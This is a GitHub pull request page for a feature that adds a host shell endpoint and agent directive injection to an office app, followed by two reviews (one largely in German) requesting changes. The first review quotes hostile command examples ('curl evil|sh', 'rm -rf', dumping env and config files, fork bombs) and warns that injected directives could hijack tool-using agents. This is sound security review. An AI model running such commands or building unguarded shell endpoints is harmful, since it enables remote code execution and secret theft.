Boss Executive Workstation: host terminal with absolute permissions & agent comms - #293
Sairamnaidu456 wants to merge 2 commits into
Conversation
… agent comms Transform the boss office computer on the loft desk from running only Minesweeper into an Executive Boss Workstation with full host permissions and direct agent orchestration: - Host Terminal: Interactive shell runner with absolute host permissions and quick actions (Budget Guard, Lead Status, Task Queue, Tests, Git Status). - Talk to Agents: Direct inter-agent executive messaging to broadcast or prompt individual agents/desks directly from the chair. - Fleet Radar: Live status cards of all desks, active workers, and tasks. - Minesweeper: Dedicated game tab preserving classic gameplay. - Top-right ✕ close button and Esc support restoring mouse-look seamlessly. - REST endpoints /api/boss/command, /api/boss/talk, and /api/boss/state. - Size guard compliance (<600 lines) and unit test suite in tests/boss.test.ts. - Updated README.md and docs/features.md.
iptoux
left a comment
There was a problem hiding this comment.
Review of PR #293 — Boss Executive Workstation
Summary and verdict
The workstation itself (tabs, fleet radar, Minesweeper kept) is a reasonable feature, but this PR is not ready to merge — request changes. It ships an authenticated arbitrary-host-shell endpoint whose "admin" gate also admits shared-password guests, and the client reports failed/rejected directives as successfully delivered. The most serious items must be resolved first: remove or tightly scope the generic shell endpoint (allowlisted execFile, no shell, minimal env, rate limits, audit log) and require a named admin account; then fix the false-success reporting and the unvalidated ceo_pings.json handling. The remaining correctness, performance, and simplicity items are listed after, most serious first.
Findings
- [Security]
src/server/http/routes/boss.ts:33—execAsync(command, { cwd: rootDir })runs any client-supplied string via/bin/sh -c: arbitrary host RCE as the server user (rm -rf,curl evil|sh, secret theft), with shell metachars (; && || $()) chaining beyond any single command. Fix: remove the generic shell endpoint, or replace with allowlistedexecFilecommands (fixed argv, no shell) plus per-command approval and audit log; block this PR until then. - [Security]
src/server/http/routes/boss.ts:10+src/server/office/people.ts:14(admin: !accountId) — shared-password sessions (no account) count as admin, so anyone with the shared office password passesisOfficeAdminand gets RCE plus agent control. Fix: require a namedrole === 'admin'account for boss routes (session.account && meOf(...).admin), never shared-password guests. - [Security]
src/server/http/routes/boss.ts:36(env: { ...process.env }) — the child inherits server secrets (API keys, tokens) and stdout/stderr are echoed verbatim, soenv | cat ~/.config/* .envexfiltrates them. Fix: strip env to a minimal safe set and redact secrets from output. - [Security]
src/server/http/routes/boss.ts:35-36(60s timeout, 10MB buffer, no rate/concurrency limit) — trivial DoS (yes,find /, fork bomb, parallel posts) stalls or exhausts the host. Fix: short timeout, small output cap, per-session rate limit with single-flight, and kill the process group on timeout. - [Security]
src/server/http/routes/boss.ts:72-83—talkinjects arbitrary text into worker PTYs (floor.workers.prompt(...)), broadcast-to-all amplifies it, and tool-using agents can be hijacked into destructive or exfiltrating actions. Fix: scope/validate directives, mark them as an untrusted-source prefix agents must not obey blindly, require explicit confirmation for tool use, and log all prompts. - [Security]
src/server/http/routes/boss.ts:20,48—POST /api/boss/commandand/api/boss/talkrely on theSameSite=Laxcookie alone with no CSRF/Origin check. Fix: add Origin/Referer check plus a CSRF token, and re-authentication for command execution. - [Security]
src/server/http/routes/boss.ts:20-46— destructive host commands run with no who/when/what trail. Fix: append-only audit log (account id, timestamp, command, exit code) outside the web root, and alert on denials. - [Correctness]
src/client/features/arcade/boss-workstation.ts:270-304—sendDirective()never checksres.ok/data.ok: on a 403/400 the body is{error}, sodata.message || 'Delivered'renders✓ Delivered, prepends a success entry, and clears the input even though nothing was delivered. Check HTTP status anddata.okbefore claiming success; only clear the input on success. - [Correctness]
src/client/features/arcade/boss-workstation.ts:242-268— same flaw inexecuteCommand(): an HTTP error body{error}(403/400/500) is rendered as command output (Command failed,[Exit Code undefined in undefinedms]), and the input is cleared before the request completes so a rejected command is lost. Checkres.okfirst and report{error}bodies as request failures, not command results. - [Correctness]
src/server/http/routes/boss.ts:107—talkignores the return value offloor.workers.prompt(), which returns an error string ('No such worker','Worker is not running','Empty prompt') on failure. Failed prompts are still counted inpromptedand reported asDirective delivered to: …. Check the return and report per-worker failures instead of counting them delivered. - [Correctness, Security]
src/server/http/routes/boss.ts:89-113,192-205—ceo_pings.jsonis read via bareJSON.parsewith no shape guard, thenunshift/sliceis called on it: valid-but-wrong JSON ({},"x") throwsTypeError(intalk, after workers were already prompted → side effects plus a 500 to the client), and a corrupt or oversized file breaks the fleet view or fills disk (only sliced to 50/20 after parse). Fix: validate schema (Array.isArrayplus size caps on title/content), catch-and-quarantine corrupt files, and cap stored prompt length. - [Correctness]
src/server/http/routes/boss.ts:115-138— concurrenttalkrequests race onceo_pings.json(read-modify-write, no lock), so one directive can silently clobber another;id: directive-${Date.now()}also collides within the same millisecond. Serialize writes (or append) and use a unique id. - [Correctness]
src/server/http/routes/boss.ts:94-103— recipient matching callsrecipient.toLowerCase()/w.name.toLowerCase()with no type guards. A non-stringrecipient(or a worker missingname) throws → 500. Validatetypeof recipient === 'string'(and fall back safely) before matching. - [Correctness]
src/client/features/arcade/boss-workstation.ts:242-268— concurrentexecuteCommand()calls interleave:$ cmdlines append synchronously but results arrive async, so output from two commands mixes and misattributes. Theok:truepath also dropsstderrentirely. Serialize executions (or tag output per run) and show stderr on success too. - [Performance]
src/server/http/routes/boss.ts:39—execAsyncbuffers up to 10MB with a 60s timeout and returns it all in one JSON blob, no truncation or streaming. Thenpm testquick-action will routinely hold the request ~60s and ship megabytes. Truncate output (e.g. last 32KB +…truncated), lower the timeout, or stream. - [Performance]
src/client/features/arcade/boss-workstation.ts:246,259,261,264— the terminal log grows viatextContent +=with no cap: O(n²) re-serialization per chunk, and combined with the 10MB server buffer a big command freezes the renderer. Cap the log (e.g. last ~500 lines / 100KB) and append text nodes instead of re-setting. - [Performance]
src/client/features/arcade/boss-workstation.ts:131,145,147—switchTab()wipescontentContainer.innerHTMLand rebuilds the whole terminal/comms/fleet DOM on every tab switch, duplicating ~60 lines of constructor code. Loses scroll position, drops focus, doubles maintenance. Build each view once and toggledisplaylikegameContaineralready does. - [Performance]
src/client/features/arcade/boss-workstation.ts:76,94— the constructor buildscommsViewandfleetViewbut never attaches them (onlyterminalViewis appended); dead construction on every open whileswitchTabrebuilds them anyway. Delete or fold into lazy per-tab builders. - [Correctness, Performance]
src/client/features/arcade/boss-workstation.ts:306-363—refreshState()full-wipesrecipientSelect,fleetContainer, andcommsHistoryElviainnerHTML='', racing theprependinsendDirective(just-sent directives vanish/flicker) and resetting the recipient selection; it also silently ignores non-OK responses (staleLoading…forever), never clears the history placeholder when pings are empty, and rendersInvalid Datefor badcreatedAtvalues. Do targeted updates, preserve selection, and handle the empty/error cases explicitly. - [Performance]
src/client/features/arcade/boss-workstation.ts:124,208— the constructor firesrefreshState()on every workstation open, even for Minesweeper-only visits, plus again on each fleet-tab visit. Lazy-load state on first fleet/comms visit instead. - [Performance]
src/server/http/routes/boss.ts:164,187,196—GET /api/boss/statedoes syncexistsSync+readFileSync×2 plus a full worker scan on every request, blocking the event loop per fleet refresh. Use async reads (or cache with mtime) and return only needed fields. - [Performance]
src/server/http/routes/boss.ts:119—talkdoes a sync read-modify-write ofceo_pings.json(pretty-printed full rewrite) inside the request path. Move file I/O off the hot path (async, debounced/atomic write). - [Performance]
src/client/features/arcade/ui.ts:259—drawIdleMonitor()is ~60 lines of hand-rolled canvas dashboard duplicating what the DOM workstation already shows. Replace with a slim static placeholder or pre-rendered texture. - [Performance]
src/client/features/arcade/boss-workstation.ts:158,170,203vs:346,377,531— tab-switch rebuilds wire buttons viaonclickattrs while the constructor usesaddEventListenerfor the same buttons. One pattern everywhere (preferaddEventListener); also drop the magicsetTimeout(..., 50)focus delay and focus synchronously after append. - [Performance]
src/client/features/arcade/boss-workstation.css— 232-line bespoke theme (.boss-btnvs existing.btn,.boss-quick-btn, pills, cards) instead of reusing arcade/modal styles. Reuse the shared classes and keep only the dark-terminal overrides. - [Security]
src/client/features/arcade/index.ts:11((window as any).arcade = arcade) — exposes workstation internals globally, widening any XSS into workstation control. Fix: remove the debug global. - [Correctness]
tests/boss.test.ts:12,135—talktests run against the real checkout (cfg.dir = process.cwd()), so theymkdir/writeFileSyncthe real.agent-office/ceo_pings.jsonwith no cleanup and can clobber real data; isolate to a tmpdir. The last test also permanently mutates the sharedmockCtx.meOfto non-admin, making the suite order-dependent; restore it after. - [Correctness]
src/server/http/routes/boss.ts:28,80— malformed/non-JSON bodies throw inJSON.parseand fall into the outer catch → 500 with the rawerr.message. Return 400 for bad input instead.
iptoux
left a comment
There was a problem hiding this comment.
Review of PR #293 — Boss Executive Workstation
Summary and verdict
The workstation shell (tabs, fleet radar, Minesweeper kept) is reasonable, but this PR is not ready to merge — request changes. It does not deliver the requested Aufschalten (see/control the other agents' PCs/terminals): talk is fire-and-forget text injection with no live PTY view and no replies, and the host terminal runs on the server host, not a worker PC. On top of that the client reports failed/rejected directives as successfully delivered, prompt() failures are counted as delivered, and the tests write into the real checkout. Fix the scope/claim first (declare Phase 1 directives or reuse the existing shared-terminal PTY attach), then the false-success reporting, prompt-return handling, and ceo_pings.json validation/race. Remaining correctness, performance/simplicity, and plan items follow, most serious first.
Findings
- [Plan, Implementation]
src/server/http/routes/boss.ts:68-113+src/client/features/arcade/boss-workstation.ts:270-304— Kernanforderung ("auf die PC der anderen Agents aufschalten, deren Terminal direkt sehen und steuern") nicht erfüllt:talkinjiziert nur Einweg-Text viafloor.workers.prompt(), kein Live-Blick auf PTY-Output/Scrollback, keine interaktive Session; das "Directives & Responses Log" zeigt nur lokal gesendeten Text plusceo_pings.json-Historie, Agent-Replies erscheinen nie. Fix: entweder an der echten PTY-/Terminal-View andocken (vgl.ui/terminal.ts, workers-panel "Open terminal"), oder als Phase 1 "Direktive senden" deklarieren, Live-Reply-Claim streichen und Folgephase für Live-PTY-Attach einplanen. - [Plan]
docs/features.md:31vssrc/server/http/routes/boss.ts:68-113— Aufschalten/Sehen/Steuern existiert bereits als Shared Terminals (Eam besetzten Desk öffnet echte PTY über WebSockets, Multi-Typing + Scrollback); der PR baut einen parallelen Einweg-Pfad statt Wiederverwendung. Fix: Plan auf Reuse festlegen — Boss-Workstation soll bestehenden PTY-Attach öffnen/einbetten statt neuerprompt()-API, oder begründen warum beide Pfade nötig sind. - [Plan]
src/server/http/routes/boss.ts:20-46— Host-Terminal läuft auf Server-Host im Workspace (ctx.cfg.dir), nicht auf dem Worker-PC/Worktree; Anforderung zielt auf Fremd-PCs. Fix: Scope klären/umbenennen (Host-Ops vs. Worker-PC-Takeover splitten) und Worker-gezielte Shell (Worktree/Desk-Kontext) als eigene Phase mit Akzeptanzkriterien einplanen. - [Plan]
src/client/features/arcade/boss-workstation.ts:306-363+src/server/http/routes/boss.ts:143-208— "Sehen" liefert nur Status-Strings (status/activity/task), keine Terminal-Spiegelung, kein Screen-Share. Fix: Fleet-Radar als Übersicht akzeptieren, aber "Terminal direkt sehen" als offenes Akzeptanzkriterium mit E2E (Desk-Terminal öffnen → Boss-Desk zeigt gleichen Scrollback) nachreichen. - [Correctness, Implementation]
src/client/features/arcade/boss-workstation.ts:270-304—sendDirective()prüft nieres.ok/data.ok: bei 403/400 ist der Body{error}, also rendertdata.message || 'Delivered'ein✓ Delivered, hängt einen Erfolgs-Eintrag an und löscht das Input obwohl nichts ankam; dazu blockierendesalert()im Fehlerpfad, ein im Client sonst ungenutztes Muster. Fix: Status unddata.okprüfen, nur bei Erfolg Input löschen/anhängen, sonstdata.errorinline rendern (Toast stattalert). - [Correctness, Implementation]
src/client/features/arcade/boss-workstation.ts:242-268— gleicher Fehler inexecuteCommand(): HTTP-Fehler{error}wird als Command-Result gerendert ([Exit Code undefined in undefinedms]), Input wird vor Request-Ende gelöscht. Fix:res.okzuerst prüfen,{error}als Request-Fehler zeigen, Input erst nach Ergebnis löschen. - [Correctness, Implementation]
src/server/http/routes/boss.ts:107—talkignoriert den Return vonfloor.workers.prompt()(string | undefined, vgl.workers/manager.ts:500,ws/handlers/workers.ts:119):No such worker/Worker is not running/Empty promptwerden trotzdem als delivered inpromptedgezählt. Fix: Fehler pro Worker sammeln,promptedvsfailedzurückgeben und im Response ausweisen. - [Correctness, Implementation]
tests/boss.test.ts:12,135—mockCtx.cfg.diristprocess.cwd(), also schreiben dietalk-Tests.agent-office/ceo_pings.jsonin den echten Checkout ohne Cleanup (derstate-Test liest dann die verschmutzte Datei → reihenfolgeabhängig); der letzte Test mutiertmockCtx.meOfpermanent zu non-admin. Fix: Mock-Ctx auf einfs.mkdtemp-Dir zeigen, Dateieffekte dort asserten, Mock danach restaurieren. - [Correctness]
src/server/http/routes/boss.ts:89-138,192-205—ceo_pings.jsonwird per bloßemJSON.parseohne Shape-Guard gelesen, dannunshift/slice: valides-aber-falsches JSON ({},"x") wirftTypeError(intalkerst nach bereits erfolgtem Prompt → Seiteneffekt plus 500), korrupte/riesige Dateien brechen die Fleet-View oder füllen die Platte. Fix:Array.isArrayplus Größen-Caps für Titel/Content validieren, korrupte Dateien quarantänisieren, gespeicherte Prompt-Länge cappen. - [Correctness, Performance & simplicity]
src/server/http/routes/boss.ts:115-138— konkurrierendetalk-Requests racen aufceo_pings.json(sync read-modify-write ohne Lock, ganzer Rewrite pro Direktive), eine Direktive überschreibt die andere still;id: directive-${Date.now()}kollidiert in derselben Millisekunde und blockiert den Loop. Fix: Writes serialisieren (append/queue oder async read-modify-write mit Mutex) und eindeutige IDs. - [Correctness]
src/server/http/routes/boss.ts:192-205—stateruftpings.slice(0, 20)außerhalb des try auf: parst die Datei zu Non-Array, wirft das einen unbehandeltenTypeErrorstatt 200/500. Fix: mitArray.isArrayguarden, ebensobudget-Shape vor Rückgabe prüfen. - [Correctness]
src/server/http/routes/boss.ts:94-103— Empfänger-Matching ruftrecipient.toLowerCase()/w.name.toLowerCase()ohne Type-Guards: Non-String-recipient(oder Worker ohnename) wirft → 500. Fix:typeof recipient === 'string'validieren, sicher fallbacken. - [Correctness]
src/server/http/routes/boss.ts:28,80— kaputte/Non-JSON-Bodies und Non-String-command((data.command || '').trim()auf Zahl/Objekt wirft) fallen in den äußeren catch → 500 mit rohererr.message. Fix: Typen validieren, 400 für Bad Input. - [Correctness]
src/server/http/routes/boss.ts:115-138—talkpersistiert einen Ping und gibtok:truezurück selbst beiprompted.length === 0(kein passender Worker), was der Client als delivered rendert. Fix: Zero-Match-Fall alsok:false/eigene Message ausweisen, damit der Client keine Zustellung behauptet. - [Correctness]
src/client/features/arcade/boss-workstation.ts:242-268— konkurrierendeexecuteCommand()-Calls interleaven ($ cmdsynchron angehängt, Ergebnisse async → Output mischt sich) und derok:true-Pfad dropptstderrkomplett. Fix: Ausführungen serialisieren (oder Output pro Run taggen) und stderr auch bei Erfolg zeigen. - [Correctness, Performance & simplicity]
src/client/features/arcade/boss-workstation.ts:306-363—refreshState()wischtrecipientSelect/fleetContainer/commsHistoryElperinnerHTML='', racet mit demprependaussendDirective(frisch gesendete Rows verschwinden/flackern) und resettet die Empfänger-Auswahl; Non-OK-Responses werden still ignoriert (ewigesLoading…), bei leeren Pings bleibt der Placeholder stehen, schlechtecreatedAtrendernInvalid Date. Fix: gezielte Updates, Selection erhalten, Empty-/Error-Fälle explizit behandeln; Fleet-Einträge diffen statt Full-Rebuild, Scroll erhalten, nicht bei jedem Tab-Wechsel refetchen. - [Performance & simplicity]
src/server/http/routes/boss.ts:35-39+src/client/features/arcade/boss-workstation.ts:259,261— 10 MBmaxBuffer-Exec-Output wird per wiederholtemtextContent +=(Full-String-Copy, O(n²)) mitpre-wrap+break-allins Log gekippt: ein lautes Kommando friert den Tab ein. Fix: Server-Output cappen (z. B. 256–512 KB +…truncated-Marker), Client-Log cappen (letzte ~200 Zeilen / 100 KB, Text-Nodes appenden statt+=). - [Performance & simplicity]
src/server/http/routes/boss.ts:186-196—GET /api/boss/statemacht pro Call 2×existsSync+readFileSync, blockiert den Event-Loop auf dem Fleet-Poll-Hot-Path. Fix:fs/promisesplus Cache mit mtime/TTL (bei Write invalidieren). - [Implementation, Performance & simplicity]
src/client/features/arcade/boss-workstation.ts:40-122,131-208— Konstruktor bautterminalView/commsView/fleetView, aber nurterminalViewwird je attached (commsView/fleetViewtoter Code), undswitchTab()dupliziert denselben View-Bau ein zweites Mal bei gleichzeitigem Reparenting lebender Nodes nachinnerHTML = ''. Fix: jede View einmal bauen, Referenzen halten, perdisplaytoggeln wie schon fürgameContainer(oderbuildTerminalView()/buildCommsView()/buildFleetView()-Helper). - [Performance & simplicity]
src/client/features/arcade/boss-workstation.ts:168,208—setTimeout(() => focus(), 50)feuert bei jedem Terminal-Wechsel und stapelt sich bei schnellem Umschalten; Fleet-Tab refetcht bei jedem Besuch. Fix: entfällt bei einmal gebauter View (sonst Timer tracken/clearen); Refresh nur auf Intervall/manuell, debounced. - [Plan]
tests/boss.test.ts:1-168+ PR-Beschreibung "Verification" — kein Test/E2E für die deutsche Anforderung (sehen+steuern), nur Prompt-Zählung (promptedCount) und Host-echo. Fix: Akzeptanztests definieren (View-Gleichheit, interaktive Steuerung, Broadcast vs. Einzeltarget) und Screenshots/E2E für Worker-Terminal-Spiegel einplanen statt nur Workstation-Tabs. - [Plan] Scope/Bundling: ein PR liefert Host-Shell + Agent-Comms + Fleet-Radar + Idle-Monitor (
src/client/features/arcade/ui.ts:187-259) + Minesweeper-Umbau + Doku. Fix: in Phasen splitten (1. Fleet read-only, 2. Talk, 3. Host-Shell mit Freigabe/Audit zuletzt) oder Phasen-/Rolloutplan mit Akzeptanzkriterien je Slice nachliefern. - [Plan]
docs/code-layout.md:71-82— Routen/Module korrekt als eigene Dateien (boss.ts,boss-workstation.ts), aber kein Help-Row-Eintrag (HELP_ROWS in src/client/ui/help.ts), kein Store-Slice/Topic-Entscheid (ad-hocfetchstatt WS/Store). Fix: im Plan festlegen ob Boss-State via Store/WS oder Polling lebt, Help-Row + Doku-Nachtrag einplanen. - [Implementation]
src/client/features/arcade/ui.ts:drawIdleMonitor— dervoid document.fonts.ready.then(() => this.draw())-Repaint wurde gelöscht, der neue Idle-Monitor malt einmal mit Fallback-Font und nie neu. Fix: Font-Ready-Redraw fürdrawIdleMonitor()wieder einführen. - [Performance & simplicity]
src/client/features/arcade/index.ts:11—(window as any).arcade = arcadeleakt ein Debug-Global und weitet jedes XSS auf Workstation-Kontrolle aus. Fix: entfernen oder hinter Dev-Flag gaten. - [Performance & simplicity]
src/client/features/arcade/boss-workstation.css:32,81—transition: all 0.15s easeerzwingt Style-Recalc bei jeder Property-Änderung. Fix: nurbackground-color, color, border-colortransitionieren. - [Implementation] Nit
src/server/http/routes/index.ts:21-24— session-authe Boss-Routen stehen im "Anyone"-Public-Block entgegen dem Ordnungs-Kommentar (harmlos —router.tsenforced auth per Flag). Fix: unter die Signed-in-Markierung verschieben.
Summary
Upgrades the boss office computer on the loft desk from only running Minesweeper into an Executive Boss Workstation with full host command permissions and live inter-agent orchestration.
Features
POST /api/boss/command: host command execution.POST /api/boss/talk: worker directive injection.GET /api/boss/state: real-time desk and worker telemetry.Verification
npm run typecheck: Passed (0 errors)npm test: Passed (611/611 tests passing)npm run build: Passed (clean client and server bundles)tests/size.test.ts: Passed (all files under 600 line limit)README.mdanddocs/features.md.